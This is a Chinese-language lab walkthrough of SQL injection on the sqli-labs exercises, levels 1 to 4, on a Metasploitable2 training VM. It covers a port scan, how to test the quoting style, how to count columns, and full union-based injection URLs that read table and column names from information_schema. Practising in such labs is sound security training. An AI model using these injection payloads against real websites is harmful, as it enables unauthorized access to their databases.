思路:
利用漏洞极多的靶场来模拟SQL注入
环境:
Metasploitable2
步骤:
1.查看虚拟主机的IP
2.开启服务,可见如下的TCP端口就处于开启状态
root@metasploitable:~# nmap -p0-65535 192.168.211.132
Starting Nmap 4.53 ( http://insecure.org ) at 2020-03-29 05:25 EDT
Interesting ports on 192.168.211.132:
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open unknown
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgres
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
34789/tcp open unknown
39583/tcp open unknown
44078/tcp open unknown
50582/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 4.046 seconds
查看php程序的执行根目录 /var/www 其下有一些用于攻击的漏洞练习
使用浏览器登录Metasploitable2的主页面
进入sqli-labs-master 下的sql-connections setup-db.php以重置数据库
接下来进入SQL注入的模拟练习第一关,按照要求在地址栏输入?id=1 即GET方法
接下来进行SQL注入
思路如下:
- 判断交互方式 get/post/http head
- 预判数据库执行语句
- 判断提交数据的闭合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”) 快速判断闭合方式 and 1=1 和and 1=2
- 构造语句打破闭合
- 构造联合查询判断输出位 通过order by 判断列数 建议使用二分法
按如上思路进行判断整理
1.根据输入的id可以判断出来 该页面与WEB服务器的交互方式为GET
2.根据输入的id 得出用户明与密码可得SQL语句大致如下
select * from users where id = 页面输入的id ,即根据输入的id来匹配存储用户名与密码的数据库表
3.利用简单的and 1=1 来判断id的闭合方式
a.输入and 1=1与and 1=2后页面无变化 ,即页面把andx=x当作了字符串来处理,据此可以得出闭合方式不是整形。如图3-a
b.猜测id后的闭合符为单引号,并用#(浏览器转义后为--+)注释掉其后的闭合符,可见and1=1执行成功,而and1=2执行失败,可以见得数据库确实执行了此条测试语句,如图3-b
4.将源语句的id设置成不存在的id,使用联合查询即可完成,演示入图4
5.利用二分法判断输出位 如图5
图3-a
图3-b
若不使用注释符的话,写法如下
查看页面源代码,详细解释闭合符
SELECT * FROM users WHERE id='$id' LIMIT 0,1
id前后有单引号作为闭合符,上图写法的意思是,先在id后写个单引号,将源SQL语句的第一个单引号闭合,而要使用and来测试的话,默认最后是有一个闭合符的,应在最后的1前写上一个闭合符来与最后的默认的单引号形成对应,此时的1被包含在了两个单引号的其中,被作为了一个字符,所以应在and后的第一个1左右也应写上单引号使其成为字符,这样一来才能进行and的测试。
limit 0,1的意思是,将从从第0行显示,且只显示1行
Mysql中测试,第一个语句的意思是查询users表中从第0行开始的一行数据,第二个语句的意思是查询uesrs表中从第1行开始的两行数据,即与C语言中的数据类似,从0开始
图4
说明:
将id设置为数据库不存在的数,使用联合查询,查询想要知道的数据,上图的select后面有个1的意思是,所查询的数据显示出来的格式要符合数据库原本的格式,即三个字段,即这里的1只为填充这个id字段,并无其他含义,写成2也无妨,也就是说,联合查询一定要注意列数必须相同。
利用mysql更能理解其中的含义
图5
接下来进行简单的SQL注入,来实现想要得到的数据
需求:
- 查找security库中表users的列元素
原始sql语句如下,将其插入至SQL注入的联合查询语句中
select column_name from information_schema.columns where table_schema='security' and table_name='users' ;
http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users'),version()--+
但是页面提示,返回值超过一行,这是因为页面的mysql语句有limit0,1的限制输出,解决办法是在注入的sql语句中添加limit0,1尚可
接下来更改limit后的第一个字段,用于显示其他列名即可
http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),version()--+
http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),version()--+
http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),version()--+
验证:
进入虚拟主机的mysql来验证列名是否与浏览器的显示一致,可见与预期相符
- 查找security库有那些表
页面有两个输出栏,则利用联合查询来注入sql
select distinct table_name from information_schema.columns where table_schema='security' limit 0,1;
select distinct table_name from information_schema.columns where table_schema='security' limit 1,1;
网址栏输入
http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select (select distinct table_name from information_schema.columns where table_schema='security' limit 0,1),( select distinct table_name from information_schema.columns where table_schema='security' limit 1,1)--+
select distinct table_name from information_schema.columns where table_schema='security' limit 2,1;
select distinct table_name from information_schema.columns where table_schema='security' limit 3,1;
网址栏输入
http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select (select distinct table_name from information_schema.columns where table_schema='security' limit 2,1),( select distinct table_name from information_schema.columns where table_schema='security' limit 3,1)--+
验证:可见,与预期相符
接下来进入第二关
根据提示在网址栏输入id=1
判断闭合符,由此可见 闭合符不是“ ) ‘)
由下图可以推断出闭合符为整形
利用order by判断出来列数为三列
利用联合查询来查找想要的数据
查看后台数据库的语句,可见与预期相符
接下来进入第三关
方法上上一关类似,向判断闭合符,然后查看输出列宽度,最后利用联合查询来查找想要的数据
经判断,闭合符为’) 输出列宽度为3
构造联合查询,来查找需要的数据
查看后台数据库的语句,可见与预期相符
第四关同理,经判断,闭合符为”) 输出列宽度为3
构造联合查询来查找需要的数据
查看后台数据库的语句,这里的id手续爱你定义了双引号,然后SQL语句中定义了闭合符为() 所以第四关的闭合符为(“”)